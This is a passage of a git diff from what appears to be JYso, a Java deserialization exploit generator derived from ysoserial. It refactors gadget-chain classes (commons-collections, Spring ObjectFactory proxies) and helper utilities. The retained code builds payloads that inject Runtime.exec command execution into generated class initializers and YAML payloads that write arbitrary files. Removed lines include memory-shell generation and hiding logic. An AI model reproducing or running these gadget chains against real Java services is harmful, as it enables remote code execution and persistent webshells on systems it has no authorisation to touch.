implements ReleaseableObjectPayload { templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap(); + HashMap innerMap = new HashMap<>(); Map m = LazyMap.lazyMap(innerMap, transformer); Map outerMap = new HashMap(); TiedMapEntry tied = new TiedMapEntry(m, templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck3.java b/src/main/java/com/qi4l/JYso/gadgets/cck3.java index 78eda0c..11d030a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck3.java @@ -13,6 +13,7 @@ import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.MATTHIASKAISER}) public class cck3 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck4.java b/src/main/java/com/qi4l/JYso/gadgets/cck4.java index 8b48694..716c23d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck4.java @@ -13,6 +13,7 @@ import org.apache.commons.collections4.map.LazyMap; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:4.0"}) @Authors({Authors.MATTHIASKAISER}) public class cck4 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/springFs.java b/src/main/java/com/qi4l/JYso/gadgets/springFs.java index 886636d..089a93c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/springFs.java +++ b/src/main/java/com/qi4l/JYso/gadgets/springFs.java @@ -21,9 +21,11 @@ import java.net.URL; import java.net.URLClassLoader; import java.util.ArrayList; import java.util.HashMap; +import java.util.Objects; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class springFs implements ObjectPayload, Serializable { public static ClassPool pool = ClassPool.getDefault(); // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) @@ -31,14 +33,14 @@ public class springFs implements ObjectPayload, Serializable { // 低版本Spring-beans <5.3 -8835275493235412717 // 高版本Spring-beans >=5.3 -1515767093960859525" public String serialVersionUID = "-1515767093960859525"; - private Object inv; @Override public Object getObject(String command) throws Exception { Object obj = Gadgets.createTemplatesImpl(command); - if (this.serialVersionUID == "-1515767093960859525") { + Object inv; + if (Objects.equals(this.serialVersionUID, "-1515767093960859525")) { CtClass ctClass; try { @@ -54,21 +56,21 @@ public class springFs implements ObjectPayload, Serializable { try { CtField field = ctClass.getDeclaredField("serialVersionUID"); ctClass.removeField(field); - } catch (NotFoundException e) { + } catch (NotFoundException ignored) { } ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass)); Class aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null); - this.inv = Reflections.createWithoutConstructor(aClass); + inv = Reflections.createWithoutConstructor(aClass); ctClass.defrost(); } else { - this.inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); } HashMap hashMap = new HashMap<>(); hashMap.put("object", obj); JSONObject jsonObject = new JSONObject(hashMap); Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject); - Reflections.setFieldValue(this.inv, "objectFactory", o2); - Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) this.inv); + Reflections.setFieldValue(inv, "objectFactory", o2); + Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) inv); JSONArray jsonArray = new JSONArray(); jsonArray.add(o); if (this.toString.equals("xString")) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index 506ef0a..39c9ddc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -21,6 +21,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class Gadgets extends ClassLoader { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static Class TPL_CLASS = TemplatesImpl.class; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java index d7b3e0a..6fcb768 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/HexUtils.java @@ -3,42 +3,8 @@ package com.qi4l.JYso.gadgets.utils; import java.io.EOFException; import java.io.IOException; import java.io.InputStream; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.Formatter; public class HexUtils { - public static String generatePassword(String password) { - String md5Str = getMD5(password); - if (md5Str != null) { - return md5Str.substring(0, 16).toLowerCase(); - } - - // 如果生成出错,则使用 p@ssw0rd - return "0f359740bd1cda99"; - } - - public static String getMD5(String str) { - // 生成一个MD5加密计算摘要 - MessageDigest md; - try { - md = MessageDigest.getInstance("MD5"); - md.update(str.getBytes()); - return toHexString(md.digest()); - } catch (NoSuchAlgorithmException ignored) { - } - return null; - } - - private static String toHexString(byte[] bytes) { - Formatter formatter = new Formatter(); - for (byte b : bytes) { - formatter.format("%02x", b); - } - String res = formatter.toString(); - formatter.close(); - return res; - } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index 8f7e2db..48a0264 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets.utils; import com.caucho.hessian.io.*; -import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; import org.springframework.jndi.support.SimpleJndiBeanFactory; @@ -15,6 +14,7 @@ import java.util.concurrent.Callable; import static com.qi4l.JYso.gadgets.Config.Config.*; +@SuppressWarnings({"unused"}) public class Serializer implements Callable { public static Boolean globalinline = false; private final Object object; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java index bb964ef..d871f88 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java @@ -15,6 +15,7 @@ import java.io.Serializable; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; +@SuppressWarnings({"unused"}) public class TemplatesUtil { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; @@ -61,11 +62,11 @@ public class TemplatesUtil { } sb.append('"'); - sb.append(arg.replaceAll("\"", "\\\"")); + sb.append(arg.replaceAll("\"", "\"")); sb.append('"'); } - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });"); + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java index 1f58061..a1d0b13 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java @@ -11,6 +11,7 @@ import java.util.Map; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) public class ThirdLibsClassLoader extends URLClassLoader { public static final String thirdLibDir = "chains-config/third-libs"; private static final String commonDir = "common"; @@ -85,7 +86,7 @@ public class ThirdLibsClassLoader extends URLClassLoader { log.debug("Add common lib: {}", url); loader.addURL(url); } - log.info("Loaded {} libraries from common directory", Integer.valueOf(jarUrls.size())); + log.info("Loaded {} libraries from common directory", jarUrls.size()); return loader; } @@ -97,9 +98,9 @@ public class ThirdLibsClassLoader extends URLClassLoader { List jarUrls = new ArrayList<>(); findJarFiles(dir, jarUrls); if (!jarUrls.isEmpty()) { - ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader((URL[]) jarUrls.toArray(new URL[0]), INSTANCE); + ThirdLibsClassLoader dirClassLoader = new ThirdLibsClassLoader(jarUrls.toArray(new URL[0]), INSTANCE); pluginClassLoaderMap.put(dir.getName(), dirClassLoader); - log.info("Loaded {} libraries from directory: {}", Integer.valueOf(jarUrls.size()), dir.getName()); + log.info("Loaded {} libraries from directory: {}", jarUrls.size(), dir.getName()); } } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index c78c7ec..6664593 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -5,7 +5,8 @@ import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64; -import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.*; import java.lang.reflect.Field; @@ -15,8 +16,6 @@ import java.util.Random; import java.util.zip.Deflater; import java.util.zip.GZIPOutputStream; -import com.sun.rowset.JdbcRowSetImpl; - import java.io.InputStream; import java.lang.reflect.*; import java.util.*; @@ -27,7 +26,10 @@ import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; +@SuppressWarnings({"unused"}) public class Utils { + private static final Logger log = LoggerFactory.getLogger(Utils.class); + public static Map createMap(final String key, final Object val) { final Map map = new HashMap<>(); map.put(key, val); @@ -86,7 +88,7 @@ public class Utils { return new String[]{par1, par2}; } - public static String base64Decode(String bs) throws Exception { + public static String base64Decode(String bs) { Class base64; byte[] value = null; try { @@ -112,15 +114,6 @@ public class Utils { // 总体在进行类字节码的缩短 shrinkBytes(ctClass); byte[] classBytes = ctClass.toBytecode(); - - // 保存内存马文件 - if (GEN_MEM_SHELL) { - if (StringUtils.isNotEmpty(GEN_MEM_SHELL_FILENAME)) { - writeClassToFile(GEN_MEM_SHELL_FILENAME, classBytes); - } else { - writeClassToFile(ctClass.getName(), classBytes); - } - } } public static void loadClassTest(byte[] classBytes, String className) throws Exception { @@ -323,7 +316,7 @@ public class Utils { in.read(FileContent); in.close(); } catch (FileNotFoundException e) { - e.printStackTrace(); + log.error("e: ", e); } byte[] compressBytes = compress(FileContent); return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]"; @@ -337,23 +330,20 @@ public class Utils { compresser.reset(); compresser.setInput(data); compresser.finish(); - ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); - try { - byte[] buf = new byte[1024]; - while (!compresser.finished()) { - int i = compresser.deflate(buf); - bos.write(buf, 0, i); - } - output = bos.toByteArray(); - } catch (Exception e) { - output = data; - e.printStackTrace(); - } finally { + try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length)) { try { - bos.close(); - } catch (IOException e) { - e.printStackTrace(); + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + log.error("e: ", e); } + } catch (IOException e) { + log.error("e: ", e); } compresser.end(); return output; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java index f178820..0bdd2fa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java @@ -6,14 +6,6 @@ import com.qi4l.JYso.gadgets.utils.Utils; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; -import org.apache.commons.lang.StringUtils; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; - -import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.converString; -import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; public class ClassMethodHandler { /** diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java index 5e0ff4c..ac6eeaf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -107,12 +107,6 @@ public class ClassNameHandler { } } - public static String getHumanName(String className, String suffix) { - className = className.substring(className.lastIndexOf('.') + 1); - className = Character.toLowerCase(className.charAt(0)) + className.substring(1); - return className + suffix; - } - public static String searchClassByName(String name) { Set set = getClassSet("com.qi4l.JYso.template."); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java index a45c6c5..0ee18df 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java @@ -4,7 +4,6 @@ import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Utils; import javassist.CtClass; import javassist.bytecode.*; -import org.apache.commons.codec.binary.Base64; import java.nio.file.Files; import java.nio.file.Paths; @@ -39,44 +38,6 @@ public class GlassHandler { return null; } - public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { - - CtClass ctClass; - byte[] byteCodes; - - String exClassName = clazz.getName(); - ctClass = Config.POOL.get(exClassName); - - // 为 DefineClassFromParameter 添加自定义函数功能 - ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";"); - - // 为类设置新的类名 - ctClass.setName(newClassName); - - shrinkBytes(ctClass); - byteCodes = ctClass.toBytecode(); - - if (Config.HIDE_MEMORY_SHELL) { - switch (Config.HIDE_MEMORY_SHELL_TYPE) { - case 1: - break; - case 2: - CtClass newClass = Config.POOL.get("com.qi4l.JYso.template.HideMemShellTemplate"); - newClass.setName(ClassNameHandler.generateClassName()); - String content = "b64=\"" + Base64.encodeBase64String(byteCodes) + "\";"; - String cName = "className=\"" + ctClass.getName() + "\";"; - newClass.defrost(); - newClass.makeClassInitializer().insertBefore(content); - newClass.makeClassInitializer().insertBefore(cName); - - ctClass = newClass; - break; - } - } - - return ctClass; - } - // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 public static void shrinkBytes(CtClass ctClass) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index 9be1aab..84e9bf9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -8,6 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; +@SuppressWarnings({"unused"}) public class jdk17Bypass { private static final Logger log = LoggerFactory.getLogger(jdk17Bypass.class);